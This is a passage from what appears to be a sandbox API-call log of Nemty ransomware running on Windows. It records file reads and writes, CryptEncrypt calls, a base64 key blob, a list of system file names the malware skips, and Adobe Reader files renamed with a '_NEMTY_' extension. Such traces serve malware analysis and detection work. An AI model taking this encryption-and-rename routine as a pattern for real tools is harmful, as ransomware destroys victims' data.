lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0206.890] CloseHandle (hObject=0xffffffff) returned 0 [0206.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0206.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0206.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0206.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0206.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.890] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-h._nemty_kgobjgd_")) returned 0 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0206.890] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-V", cAlternateFileName="GBT-EU~2")) returned 1 [0206.890] lstrcmpiW (lpString1="GBT-EUC-V", lpString2=".") returned 1 [0206.890] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="..") returned 1 [0206.890] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="...") returned 1 [0206.890] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="windows") returned -1 [0206.890] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="$RECYCLE.BIN") returned 1 [0206.890] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="rsa") returned -1 [0206.890] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="NTDETECT.COM") returned -1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="ntldr") returned -1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="MSDOS.SYS") returned -1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="IO.SYS") returned -1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="boot.ini") returned 1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="boot.ini") returned 1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="AUTOEXEC.BAT") returned 1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="ntuser.dat") returned -1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="desktop.ini") returned 1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="CONFIG.SYS") returned 1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="RECYCLER") returned -1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="BOOTSECT.BAK") returned 1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="bootmgr") returned 1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="programdata") returned -1 [0206.891] lstrcmpiW (lpString1="GBT-EUC-V", lpString2="appdata") returned 1 [0206.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBT-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0206.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBT-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0206.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBT-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0206.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBT-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0206.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0206.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0206.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0206.891] Sleep (dwMilliseconds=0x5) [0206.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ef5bff0, dwHighDateTime=0x1d561e8)) [0206.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ef5bff0, dwHighDateTime=0x1d561e8)) [0206.901] GetLastError () returned 0x5 [0206.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0206.901] GetLastError () returned 0x5 [0206.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0206.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.901] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0206.901] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0206.901] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0206.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0206.901] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="2FfLk4ZczEszUSi7FbHmD9ZVDuCIhElXeWRyJ/P/6r253evAujjSbbs9KSI94+o9\r\nWcl8QY/TtZah4Mx4/NFvBmHjjObTf/FEu933hLe2pPi8yL+txYWycz8adaFANCM9\r\nhqlxyCX9NtvWbVGr1xZTDFnJr4xMqcJ8sKoYgJN/CLKxEYzRqizZiLPvPOD0LDPV\r\nIiEmvmYCPh5SaezGPDVJHMvLfrgjdzXTP1a2rUidLlNYJ3bybWN7dCeWB+SzqIp9\r\noE6fQ0EsFs38V5UGtxdXtom0twagzKPBcHO1J8EHVvwaxtMiToGxQ3wLrCNmNMjO\r\nCi8tGGjs6QVFohVEzSQSOQ==\r\n", pcchString=0x653e91c) returned 1 [0206.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0206.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0206.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0206.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0206.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0206.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0206.902] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0206.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0206.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.913] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.004] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.004] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, 